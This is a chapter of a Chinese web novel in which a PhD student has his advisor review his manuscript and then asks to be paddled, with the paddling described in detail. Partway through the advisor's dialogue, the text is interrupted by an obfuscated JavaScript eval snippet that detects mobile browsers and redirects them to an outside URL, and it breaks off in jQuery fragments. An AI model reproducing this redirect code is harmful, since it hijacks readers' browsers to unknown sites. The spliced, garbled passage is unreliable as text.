呦呦是也 作品

178.书稿

学校放暑假了,喧闹的校园似乎是在一夜之间就安静了下来,校园里来来往往的师生少了很多,不过博士公寓变化却不大。


庄遂平背上包,出门去找纪慎。


他半个月前把书稿给了老师,约好了今天去办公室面谈的。庄遂平想到背包里的东西,不禁有些忐忑,不知道老师会不会觉得他的书稿问题很多,会不会又像以前一样对他失望。


但是没办法,他想留下来,就必须要有足够多足够亮眼的成绩,发文章、出书、参加学术会议……老师所有的批评他都必须应下来,然后不断提升自己。


相比放假前,现在的学院简直像一栋空楼了。庄遂平一路往三楼去,脚步声应和着心跳,在寂静的楼道间敲打出阵阵回声。上了楼,庄遂平隐约觉得自己的心跳得愈发厉害了,“扑通扑通”的,敲门时腿有些发软。


“进来。”


庄遂平深呼吸,推门进去了:“老师。”


纪慎指指办公桌前的椅子:“坐吧,你的书稿我看了……坐啊!”


“不、不用了,老师,我站着就行。”


纪慎也没多在意,道:“那你站过来,跟你说一下你的书稿。”


庄遂平慢慢走到老师旁边,低头一看,书稿上果然写满了红色的批注,就跟当初他写论文一样。一时之间不知是羞愧还是难堪,庄遂平微微烧红了脸。


纪慎写批注时可没想过这些,看他已经专注了,便指着第一条道:“你全都用简体字可以,但是这个繁化简时错了,研究古代,文字功底一定要过关,会闹笑话的。”


平心而论,纪慎的语气并不严厉,若是跟当初指导庄遂平的论文比起来,堪称温柔,可是庄遂平仍旧在这温和的语气中不由自主惭愧起来,仿佛自己犯了滔天大错一样。


“对不起,老师,我以后会注意的。”


“这里,”纪慎指着第二条批注,“不同人的笺,一般按照文献的时间进行排列,这两个文献的时间你核对过没有?”


“呃……”庄遂平眨眨眼,不知道该怎么回答,他之前是凭印象,但是现在老师问了,必然是他的排序出问题了,“我、我没有,我感觉应该是这样。”


“你是在做研究,不要凭感觉,去查。”


“知道了。”


“按语部分,”纪慎叹了声气,“其实你敢于尝试写按语,这很好,但是你的功底没有到,你对一些诗歌的解读不够准确,所以你看看,是把按语全部去掉,还是再重新捋一遍。”


庄遂平的脸彻底羞红了,当时写按语是为了让老师看到他的进步和努力,结果有不少是错的,真是丢人丢到家了。


“那我去掉吧。”


纪慎看他一直低着头,心想还是缺乏历练,已经博一结束了,却仍没有建立起信心,不由得叹息:“遂平,不准确的地方我都帮你标出来了,你可以尝试再看一看。只是你这么着急整理书稿,如果是为了快一点出书,也可以偷个懒。”


“我!”庄遂平支支吾吾,“我、我不是像偷懒,我是,是怕写出来都是错的,别人会笑我。”


纪慎缓缓道:“如果是有本可依,你依据文本去解读就可以了,如果缺乏相关史料或是其他文本证明,那么大家各有发明阐释,说不上谁对谁错。再说了,学术就是不断纠正不断发展的,你看现在很多书不也要再修订再版?”


庄遂平似乎勉强接受了这个说法:“那、那我试试。”


“没事的,大胆去做吧,你师爷要是知道你在做这样的事,也会高兴的。”


提到师爷,庄遂平也不免受到些许鼓舞,嘴角上扬了些。纪慎一瞧,果然是最在乎师爷,在心底翻了个白眼,道:“继续,跟你说完。”


书稿的问题还是挺多的,有不少地方都略过了,但饶是如此,也讲了一个多小时,纪慎口干舌燥,却在扭头时发现小孩子在偷偷转脚腕。


看来是站久了,累了。


“就先说这么多吧,先把这些改了,然后拿去给纪沅。”


意思是,改完之后就可以交稿了。


庄遂平点点头,却没有立刻接过书稿离开,仍站在原地,嗫嚅道:“老师,那个……”


“什么?”


庄遂平还是不大好意思主动请罚,说那种话对他来说实在太羞耻了:“书稿错了这么多,您、您是不是生气了?”


“没有啊,”纪慎脱口而出,抬头看去,只见学生脸上满是担忧,甚至略带难堪,大概是想到从前了,便道,“遂平,每个人都是有盲点的,没有人能在第一次就把这些事情做到完美,我给你提意见,这就是指导你的过程,你没必要有心理压力。”


“可是我已经是博士了,应该、应该……”


应该要学会独立完成研究。


“这是个过程,遂平,慢慢来,你现在已经做得很好了。”


“我觉得不够。”


纪慎不禁蹙起眉头。他一直知道这个学生是有上进心的,可是从前对他打压多了,导致他信心缺失,现在想多鼓励他一点,他怎么反而自我打压起来了?


“老师,”庄遂平好似下定了决心,深呼吸道,“您打我吧,我、我带了板子来。”说着也不敢去看老师,只低头从书包里翻出那块板子,双手递了过去。


纪慎没有接:“遂平,老师知道,就算不打你,你回去也会好好改书稿,这些问题你以后也不会再出现,没有必要……”


“有必要!”庄遂平堪称大胆地否决了老师的判断,“老师,有必要,我觉得这样我会成长得更快。”


“你已经成长得很快


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587158|143212||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


了,你让老师觉得很惊喜。”


“可是不够。”


如果要留下来,这还远远不够。


纪慎不知道这个小孩今天犯了什么倔,怎么说都不行,非要挨打,无奈之下只得接过板子,可他还没说话,小孩就自觉转过去,乖乖褪下裤子,双手撑在了桌上。


以前常常在这个位置,让他摆出这样的姿势挨打,这么长时间过去,又像是回到了原点。


纪慎无声笑笑,握住板子在学生臀上拍了拍当作提醒,紧接着扬起板子,“啪”地击打下去!


“唔……”即使做好准备,这块板子的重量也不是一般人能承受的,庄遂平被打得膝盖前屈,差点撞上桌子,屁股上像一团火从里面烧出来,温度迅速上升,他缓了两三秒,继续撑回去,咬牙道,“谢老师责罚。”


话一出口,他自己也愣住了,谢罚的话听上去有点傻,可是当他真心接受老师给予的惩罚和疼痛时,谢罚却变成了一件自然而然的事。


只是这怔愣在下一秒就被板子打断了,结结实实的责打干净利落地盖在两瓣肉丘上,疼得庄遂平一声哀嚎,龇牙咧嘴好久都恢复不过来。


纪慎容他消化片刻,继续抬起板子落下,“啪”一声之后,两团肉上的绯色又加深了一层,仿佛能透过皮肉看见血液在底下翻涌。


这么打过十下,屁股已经通红一片,纪慎不愿再打:“板子重,已经够了,起来吧。”


可是庄遂平却不肯,固执地撑在桌上,不顾脸上的冷汗,道:“请老师责罚。”


“遂平……”


“老师,求老师……”


纪慎不由得叹气,只得答应下来,继续抬起板子对准他的臀尖,重重打了下去。


“啊!”庄遂平痛呼一声,便立刻咬住嘴唇,不让自己再发出一点声音。纪慎颇为心疼,又拗不过他,只得狠下心,重重地打了十下,板子着肉声和学生的惨叫混在一起,简直让人心颤。眼看着那两团肉已经变成了深红色,纪慎说什么也不肯再打了:“起来!”


庄遂平半趴在桌上,有点起不来,剧烈的疼痛过后是长久的麻木,让他完全使不上力。他咬住后槽牙,一点点撑着站起来,强撑着穿裤子。


动作小心翼翼,看得纪慎心里不是滋味。


“庄遂平,我才是老师,以后打不打,是我决定。另外,这是家法,以后不能在办公室用。”


庄遂平有些委屈:“那在哪里用?”


“当然是在家里,笨死了!”


笨死的庄遂平当然听不出别的意思,只觉得老师嫌弃他,心情不免低落了些,整理好仪容仪表,便拿起书稿和板子要走:“我先回去改书稿了,老师再见。”


纪慎一噎,竟一时回不出话来,眼睁睁看着他拖着步子慢慢出去了。